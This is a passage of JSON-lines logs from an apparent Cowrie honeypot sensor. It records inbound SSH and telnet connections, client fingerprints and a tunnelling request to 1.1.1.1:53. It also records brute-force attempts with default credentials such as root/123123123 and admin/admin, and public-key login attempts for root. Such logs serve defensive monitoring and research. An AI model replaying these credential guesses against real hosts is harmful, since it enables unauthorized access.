ncCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:57.941004Z","src_ip":"47.239.15.75","session":"b70eccc2d520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":54642,"dst_ip":"10.17.0.5","dst_port":23,"session":"024f547eb30f","protocol":"telnet","message":"New connection: 176.65.149.254:54642 (10.17.0.5:23) [session: 024f547eb30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:07.848873Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:16.991379Z","src_ip":"47.239.15.75","session":"b70eccc2d520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"75.1","message":"Connection lost after 75.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:18.810897Z","src_ip":"47.239.15.75","session":"b70eccc2d520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.24152970314026,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:24.901626Z","src_ip":"45.58.127.90","session":"142c7e6ea99c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55176,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cdce69ebb15","protocol":"telnet","message":"New connection: 147.182.143.59:55176 (159.203.135.109:23) [session: 9cdce69ebb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:32.024680Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":56950,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd4b0d8a5c6","protocol":"ssh","message":"New connection: 98.70.48.241:56950 (159.203.135.109:22) [session: efd4b0d8a5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:34.195640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:34.245535Z","src_ip":"98.70.48.241","session":"efd4b0d8a5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:34.435825Z","src_ip":"98.70.48.241","session":"efd4b0d8a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32860,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fff63692538","protocol":"ssh","message":"New connection: 87.251.64.176:32860 (10.17.0.5:22) [session: 9fff63692538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:34.637240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:34.642245Z","src_ip":"87.251.64.176","session":"9fff63692538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:34.740515Z","src_ip":"87.251.64.176","session":"9fff63692538","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:35.033067Z","src_ip":"87.251.64.176","session":"9fff63692538","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:35.134502Z","session":"9fff63692538","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:35.233006Z","src_ip":"87.251.64.176","session":"9fff63692538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"666666","message":"login attempt [git/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:35.246957Z","src_ip":"98.70.48.241","session":"efd4b0d8a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:35.331931Z","src_ip":"87.251.64.176","session":"9fff63692538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:36.463420Z","src_ip":"98.70.48.241","session":"efd4b0d8a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.11676096916199,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:36.643492Z","src_ip":"45.58.127.90","session":"fb436c85f9f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.26906108856201,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:37.117703Z","src_ip":"176.65.149.254","session":"024f547eb30f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.451303482055664,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:37.385467Z","src_ip":"45.58.127.90","session":"b36d458ae195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37652,"dst_ip":"159.203.135.109","dst_port":23,"session":"e96a6864bdc0","protocol":"telnet","message":"New connection: 147.182.143.59:37652 (159.203.135.109:23) [session: e96a6864bdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:51.577042Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:44:53.722567Z","src_ip":"47.239.15.75","session":"ba8134d03caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.987516403198242,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:09.564419Z","src_ip":"147.182.143.59","session":"e96a6864bdc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a90b45c689b","protocol":"ssh","message":"New connection: 172.93.103.2:33770 (10.17.0.5:22) [session: 9a90b45c689b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:20.897957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:20.902777Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:20.912137Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:14:97:68:ba:9b:57:fd:55:1a:7c:39:7a:37:8e:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPp0qIBhehHrAXzs0zV2Q6ZLyielDEdEVrIg3xiDniFj3p+1Lo9yzYIR1+QXyUAg8fIBWN21KG927nEJ+MpJ1ACvyeT5n3L5c0BZz5FckumMPQZQ5rr3juW07ALxeskBn4qqB5ncjmNmWibJfgHVgTfQd7DyePpm9XLQ/ES+RqeTkUqNGF3OVpH/8R+KvXaOjgMc3kSqx/cclQuX316rsBuP0luhk4wfosKnxh8r93ypDsRo3JBj+fmW24Xf9oJdUmCEKdq5NfLQfU1idOhmZBU1/1+WD2whsEeGzuIFvsDToC7z2w+0DntBfYSxN4Z1d/UO7DwKMXxf5YjFlLim0t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:14:97:68:ba:9b:57:fd:55:1a:7c:39:7a:37:8e:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.056136Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:14:97:68:ba:9b:57:fd:55:1a:7c:39:7a:37:8e:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPp0qIBhehHrAXzs0zV2Q6ZLyielDEdEVrIg3xiDniFj3p+1Lo9yzYIR1+QXyUAg8fIBWN21KG927nEJ+MpJ1ACvyeT5n3L5c0BZz5FckumMPQZQ5rr3juW07ALxeskBn4qqB5ncjmNmWibJfgHVgTfQd7DyePpm9XLQ/ES+RqeTkUqNGF3OVpH/8R+KvXaOjgMc3kSqx/cclQuX316rsBuP0luhk4wfosKnxh8r93ypDsRo3JBj+fmW24Xf9oJdUmCEKdq5NfLQfU1idOhmZBU1/1+WD2whsEeGzuIFvsDToC7z2w+0DntBfYSxN4Z1d/UO7DwKMXxf5YjFlLim0t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.060055Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:09:55:9c:79:42:63:68:ba:d4:5e:92:d4:a4:c3:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtnvt1k1hFa3HDd6WVfgC3pNMY4l4RVB6odyzyKWxWPjQbtOXyUuZapUgpsnMVxLT8BZOrwoV2FRJ4Klg7PU9g78FrSv4a1iGtF9RdAyYmlxSlf7JA4Y4yAp8AZA25UTezGoo+PeALzoZ+elV+0+89kHRcaPi7v7szQ7NCAo4gbDXV9qlO1fiKzQksgcI2Ny7b1nq45sUXI+lLoVhCGT1qd2uUXwPtrYpH3er3TljzXAbEEHqx/fFyuSTwyL6bHUeKe4NPlT3D1hyJ5g/kS1OVABxKlm/thxocebXqqONbaXjE40Xr2RiMh6l2e7XjcHje/RDyg+YDptl0oxe6rubEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:09:55:9c:79:42:63:68:ba:d4:5e:92:d4:a4:c3:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.069004Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:09:55:9c:79:42:63:68:ba:d4:5e:92:d4:a4:c3:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtnvt1k1hFa3HDd6WVfgC3pNMY4l4RVB6odyzyKWxWPjQbtOXyUuZapUgpsnMVxLT8BZOrwoV2FRJ4Klg7PU9g78FrSv4a1iGtF9RdAyYmlxSlf7JA4Y4yAp8AZA25UTezGoo+PeALzoZ+elV+0+89kHRcaPi7v7szQ7NCAo4gbDXV9qlO1fiKzQksgcI2Ny7b1nq45sUXI+lLoVhCGT1qd2uUXwPtrYpH3er3TljzXAbEEHqx/fFyuSTwyL6bHUeKe4NPlT3D1hyJ5g/kS1OVABxKlm/thxocebXqqONbaXjE40Xr2RiMh6l2e7XjcHje/RDyg+YDptl0oxe6rubEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.072537Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:a1:a3:ac:f1:94:44:68:b0:74:4a:17:fe:b5:a3:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEefqoarqpZg1wPnwgRY1HQTe5whVMdg1hNp+33d6Jhc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e5:a1:a3:ac:f1:94:44:68:b0:74:4a:17:fe:b5:a3:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.080640Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:a1:a3:ac:f1:94:44:68:b0:74:4a:17:fe:b5:a3:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEefqoarqpZg1wPnwgRY1HQTe5whVMdg1hNp+33d6Jhc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.084615Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:4f:ad:54:9b:95:85:53:b6:89:69:88:00:b7:65:ad","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIQjB9xLO9c9QQMaU4RVBRqo5Pl792cQnymm+wYRqS3ut4ejyMOMsGmoCyzEjdovHlXMpOHWHt5KD4uUArTFmd29NRMoJQTAJo9BdSlgrHtjACxSv3CkOM/EGkSkxaQxHUwESvF3b7c62UV1BKYUQfYwhKlETjo9aRcRG3rci0k9AAAAFQC7vOoA5rlgwy5AK6Nl/xFVp993fQAAAIAKtDXqyZGiMBEqOGvX7ttn6uPp/JfOhq7zg56FOH0sQ3fW6DOW3BlSMwbej1qPBRXvnGQIewx2ZgsFyv950pGjgV5+m2IRLuANRODkBrVH1w4oDL2OTe9kss3rhuLIQNtQAm21b0zBGc2NX3kat/AaTIE3XPRwOfUd/uK52IkMdwAAAIBvvrFXO6ekCwoPQJb7yz5vHEVeIVy2VPidnIkOqA7JgsCbu4zbGTALXGxGxSFdaBrm0OObetvJYG02IpDhRQMB3vdHEiuknJxBLDBLiSjie/Bh8nffzsSGATNXQHrBXaxaLlooL9PFj+aSb5f6R8CESseIUO7rta1kZgtheMqwmg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 9d:4f:ad:54:9b:95:85:53:b6:89:69:88:00:b7:65:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.093215Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:4f:ad:54:9b:95:85:53:b6:89:69:88:00:b7:65:ad","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIQjB9xLO9c9QQMaU4RVBRqo5Pl792cQnymm+wYRqS3ut4ejyMOMsGmoCyzEjdovHlXMpOHWHt5KD4uUArTFmd29NRMoJQTAJo9BdSlgrHtjACxSv3CkOM/EGkSkxaQxHUwESvF3b7c62UV1BKYUQfYwhKlETjo9aRcRG3rci0k9AAAAFQC7vOoA5rlgwy5AK6Nl/xFVp993fQAAAIAKtDXqyZGiMBEqOGvX7ttn6uPp/JfOhq7zg56FOH0sQ3fW6DOW3BlSMwbej1qPBRXvnGQIewx2ZgsFyv950pGjgV5+m2IRLuANRODkBrVH1w4oDL2OTe9kss3rhuLIQNtQAm21b0zBGc2NX3kat/AaTIE3XPRwOfUd/uK52IkMdwAAAIBvvrFXO6ekCwoPQJb7yz5vHEVeIVy2VPidnIkOqA7JgsCbu4zbGTALXGxGxSFdaBrm0OObetvJYG02IpDhRQMB3vdHEiuknJxBLDBLiSjie/Bh8nffzsSGATNXQHrBXaxaLlooL9PFj+aSb5f6R8CESseIUO7rta1kZgtheMqwmg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.097776Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:17:16:1f:b7:7c:5a:03:83:53:21:93:7b:15:c3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbokEnYaXvXorcdI4ky43QsuaxRxZLmVew2ioyvXhy6Fx+W+B0UZQqEQ5xrSb5OnoNq+drLit1zt/FYsTL8/AZA7PZ11O1pK8fWpuz01DTYaN0ta+PfGVcgwI7N9CNcHgsfP6vSyKoxHczk3PwFqDtkZulzAhK1LG/XxKQdcVBZb+o+18Ph2AJGmXLWAZfJR6zML8K8bbnr88r+N1na1OyYeQoljP4JP7A2aQotjyTdE/bqEs3Z01lzPWDDdB98PNt4VQWgswd/BuWEUXyvmCtza8xdjD4MHfu1dEuvShpjp4EQfFkp2Y3+3bLKJuoLcZbQWHgwiVRh3S19Hl+sfWhTC4XHxsgnQqQ9zicG+vA306ujQjDj/5diAlEhQuXAmrQn9pbNoZQJebGzbsuWxtH54ScmXpktM4mEiNtYxPiC33mKMGN+Be15zZQ1jPv021WY2yJWgvLmsfJKFY0Xlx7qFZVXDgPh+cO2KCx7gIOvWkvxv3NId5Fq/jdybzt/ZXIt6LqLD45fNeLqt7nh038GzZOs9qUpg/FUsLG7Cr1Dg4Q3JzatRNjeF5Ctg0CRvKNVAIaaFGHOfi+/CL+UIfAMvyOTW4GO0bs0fBUMhjkfWDonf89i3xXwkXfSpLC8rpJu+XrYH3l0vm7wmj2y1f+E+nvNXyFd+dj3bIbLKN9yw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:17:16:1f:b7:7c:5a:03:83:53:21:93:7b:15:c3:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.106116Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:17:16:1f:b7:7c:5a:03:83:53:21:93:7b:15:c3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbokEnYaXvXorcdI4ky43QsuaxRxZLmVew2ioyvXhy6Fx+W+B0UZQqEQ5xrSb5OnoNq+drLit1zt/FYsTL8/AZA7PZ11O1pK8fWpuz01DTYaN0ta+PfGVcgwI7N9CNcHgsfP6vSyKoxHczk3PwFqDtkZulzAhK1LG/XxKQdcVBZb+o+18Ph2AJGmXLWAZfJR6zML8K8bbnr88r+N1na1OyYeQoljP4JP7A2aQotjyTdE/bqEs3Z01lzPWDDdB98PNt4VQWgswd/BuWEUXyvmCtza8xdjD4MHfu1dEuvShpjp4EQfFkp2Y3+3bLKJuoLcZbQWHgwiVRh3S19Hl+sfWhTC4XHxsgnQqQ9zicG+vA306ujQjDj/5diAlEhQuXAmrQn9pbNoZQJebGzbsuWxtH54ScmXpktM4mEiNtYxPiC33mKMGN+Be15zZQ1jPv021WY2yJWgvLmsfJKFY0Xlx7qFZVXDgPh+cO2KCx7gIOvWkvxv3NId5Fq/jdybzt/ZXIt6LqLD45fNeLqt7nh038GzZOs9qUpg/FUsLG7Cr1Dg4Q3JzatRNjeF5Ctg0CRvKNVAIaaFGHOfi+/CL+UIfAMvyOTW4GO0bs0fBUMhjkfWDonf89i3xXwkXfSpLC8rpJu+XrYH3l0vm7wmj2y1f+E+nvNXyFd+dj3bIbLKN9yw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.109703Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:21.117986Z","src_ip":"172.93.103.2","session":"9a90b45c689b","protocol":"ssh"}
